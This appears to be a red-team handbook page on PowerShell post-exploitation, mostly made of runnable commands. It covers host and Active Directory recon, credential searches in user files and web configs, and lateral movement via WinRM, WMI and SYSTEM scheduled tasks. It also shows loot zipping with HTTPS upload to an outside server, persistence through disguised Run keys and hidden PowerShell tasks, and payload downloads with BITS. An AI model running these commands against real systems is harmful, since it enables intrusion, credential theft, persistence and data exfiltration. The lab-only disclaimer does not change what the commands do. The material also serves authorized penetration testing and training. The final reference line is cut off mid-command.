PowerShell PE
PowerShell for Post-Exploitation — Operator Handbook
⚠️ For authorized environments, labs, and CTFs only. Many techniques below can disrupt systems or trigger security tools. Get written permission, log everything, and follow the rules of engagement.
I. 🧩 Operator Mindset & OPSEC
Stay native first: prefer built-in cmdlets over dropping binaries.
Live off the land:
WinRM,WMI,ScheduledTasks,BITS,netsh,wevtutil.Reduce noise: limit recursive scans, throttle parallel tasks, avoid scanning DCs from workstations.
Telemetry aware: Script Block Logging, Module Logging, Transcription, AMSI. Assume you’re watched.
II. ⚙️ Fast Recon (Local Host)
# identity & context
whoami /all
$env:USERDOMAIN; $env:USERNAME
[Environment]::OSVersion.Version
Get-CimInstance Win32_ComputerSystem | fl Name,Domain,Model,Manufacturer
# local admins & interesting groups
Get-LocalGroupMember -Group "Administrators" 2>$null
# network quicklook
Get-NetIPAddress -AddressFamily IPv4 | ? {$_.PrefixLength -ge 24}
Get-NetRoute | ? {$_.DestinationPrefix -notlike "127.*"}
# running services & autostarts
Get-Service | ? Status -eq Running | select Name,DisplayName
Get-CimInstance Win32_StartupCommand | select Name,Command,Location,User
# shares & sessions
Get-SmbShare
Get-SmbSessionIII. 🧭 Domain & AD Enumeration (Native + PowerView)
If PowerView is available in your lab, load it reflectively (no disk write) and then enumerate. Otherwise, use
ActiveDirectoryRSAT cmdlets.
# native: who is the DC, what domain am I in?
nltest /dsgetdc:.
(Get-ADDomain).DNSRoot
(Get-ADForest).GlobalCatalogs
# enumerate users/groups (requires RSAT: ActiveDirectory)
Get-ADUser -Filter * -Properties lastlogondate | select SamAccountName,lastlogondate -First 10
Get-ADGroup -Filter * | select Name -First 20
Get-ADGroupMember "Domain Admins"
# PowerView classics (if imported)
Get-NetDomain
Get-NetDomainController
Get-NetUser -PreauthNotRequired # potential AS-REP roast targets (for lab)
Get-NetComputer -OperatingSystem *server* | select cn,operatingsystem
Find-LocalAdminAccess -Verbose # where current token has local adminIV. 🗂️ Files, Search & Loot (Benign Discovery)
# find likely creds in user profiles (lab safe paths)
$paths = @("$env:USERPROFILE\Desktop","$env:USERPROFILE\Documents","C:\Temp")
$patterns = @("password","pass","cred","secret","key","config",".kdbx",".pfx",".pem",".rdp")
foreach($p in $paths){ gci -Path $p -Recurse -ErrorAction SilentlyContinue |
? { $patterns | ForEach-Object { $_ -and ($_.Name -match $_) } } |
select FullName,Length,LastWriteTime }
# search within files for patterns
Select-String -Path C:\Users\*\Documents\* -Pattern "password|apikey|token" -SimpleMatch -ErrorAction SilentlyContinueV. 🔁 Lateral Movement (Built-In Methods)
Use only where authorized. Prefer Kerberos (–Authentication Negotiate/Kerberos) to avoid NTLM where possible.
WinRM (PowerShell Remoting)
# enable locally (lab)
Enable-PSRemoting -Force
# remote command with current creds (requires admin on target)
Invoke-Command -ComputerName WS01 -ScriptBlock { hostname; whoami }
# with alternate creds
$cred = Get-Credential
Invoke-Command -ComputerName WS01,WS02 -Credential $cred -ScriptBlock { Get-LocalGroupMember Administrators }WMI
Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName WS01 -ArgumentList "cmd /c whoami > C:\Windows\Temp\w.txt"Scheduled Task (opsec-friendly, survives transient)
$act = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c ipconfig /all > C:\Temp\net.txt"
$trg = New-ScheduledTaskTrigger -Once -At ((Get-Date).AddMinutes(1))
Register-ScheduledTask -TaskName "SysDiag" -Action $act -Trigger $trg -RunLevel Highest -User "SYSTEM"
Start-ScheduledTask -TaskName "SysDiag"VI. 🔐 Credentials & Tokens (Legit Paths Only)
Network credentials in memory: Assume EDR detects dumps — avoid weaponized dumping in shared networks.
DPAPI user secrets (lab demo only):
# list saved creds (current user context)
cmdkey /list
# Windows Credential Manager (read with authorized tools only)
rundll32.exe keymgr.dll,KRShowKeyMgrSearch config stores (web apps, dev boxes):
gci C:\inetpub\ -Recurse -Include web.config,appsettings.json -ErrorAction SilentlyContinue |
% { Select-String -Path $_.FullName -Pattern "ConnectionString|Password|Key|Secret" -SimpleMatch }VII. 🌐 Data Exfil Helpers (Lab)
In real environments, follow data handling policies. Use throttling and encryption; prefer secure transport.
# compress & zip
$src="C:\Temp\loot"; $zip="C:\Temp\loot.zip"
Compress-Archive -Path $src -DestinationPath $zip -Force
# HTTPS upload (lab web server)
Invoke-WebRequest -Uri "https://labserver/upload" -Method Post -InFile $zip -UseBasicParsingVIII. ♻️ Persistence (CTF/Lab Techniques)
Run Key (current user)
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "Updatr" -Value "C:\Users\Public\updatr.ps1" -PropertyType StringScheduled Task (on logon)
$act = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -W Hidden -F C:\Users\Public\p.ps1"
$trg = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "Updater" -Action $act -Trigger $trg -User $env:USERNAME📎 Remove after the exercise:
Unregister-ScheduledTask -TaskName "Updater" -Confirm:$false
Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updatr"IX. 🚚 File Transfer Arsenal (No External Tools)
# Start a quick HTTP file server (PowerShell 5+, simple)
Set-Location C:\Share
python -m http.server 8000 # if Python exists
# Pull a file over HTTP(S)
Invoke-WebRequest -Uri "https://server/tool.exe" -OutFile "$env:TEMP\tool.exe"
# SMB copy (requires share perms)
Copy-Item \\fileserver\share\agent.ps1 C:\Temp\agent.ps1
# BITS (quiet, resumable)
Start-BitsTransfer -Source "https://server/payload.bin" -Destination "C:\Temp\payload.bin"X. 🧪 Useful One-Liners & Mini-Functions
# ping sweep (small /24 lab)
1..254 | % { "$_`t" + (Test-Connection -Count 1 -Quiet 10.10.10.$_) } | ? {$_ -match "True"}
# list admin shares reachable
$hosts = @("WS01","WS02","FS01")
$hosts | % { if(Test-Path "\\$_\C$"){ "$_ : C$ ok" } }
# find writable folders (current token)
gci C:\ -Recurse -Directory -ErrorAction SilentlyContinue |
% { try { $acl = Get-Acl $_.FullName; if(($acl.Access | ? {$_.IdentityReference -match $env:USERNAME -and $_.FileSystemRights -match "Write"}) ){ $_.FullName } } catch {} }
# quick service audit: auto-start & unquoted paths
Get-CimInstance Win32_Service | ? {$_.StartMode -eq "Auto"} |
select Name,State,StartName,PathName |
? {$_.PathName -and $_.PathName -match ' '} # candidates for unquoted path issues (lab)XI. 🧰 “Living-off-the-Land” Cmdlets (Cheat Box)
System info
Get-ComputerInfo, Get-CimInstance Win32_OperatingSystem
Users/Groups
Get-LocalUser, Get-LocalGroupMember
Network
Get-NetIPConfiguration, Test-NetConnection, Get-NetTCPConnection
Shares/Sessions
Get-SmbShare, Get-SmbSession
Services/Tasks
Get-Service, Get-ScheduledTask
Logs
Get-WinEvent, wevtutil
Remoting
Invoke-Command, Enter-PSSession
WMI
Get-WmiObject, Invoke-WmiMethod
Files/Registry
Get-ChildItem, Select-String, Get-ItemProperty
XII. 🧠 OPSEC & Clean-Up Checklist
Remove scheduled tasks, run-keys, temp files.
Clear only your test artifacts (don’t destroy logs).
Return config to pre-engagement state.
Hand over findings with paths, timestamps, and commands used.
XIII. ⚡ Quick Reference Table
Remote exec (WinRM)
Invoke-Command -ComputerName X -ScriptBlock { ... }
Create scheduled task
Register-ScheduledTask -Action $act -Trigger $trg
Copy via SMB
Copy-Item \\host\share\file C:\Temp\file
Zip directory
Compress-Archive -Path C:\Dir -Destination C:\dir.zip
Enumerate AD users
Get-ADUser -Filter * -Properties lastlogondate
Find strings in files
`Select-String -Path C:* -Pattern "password
Last updated
Was this helpful?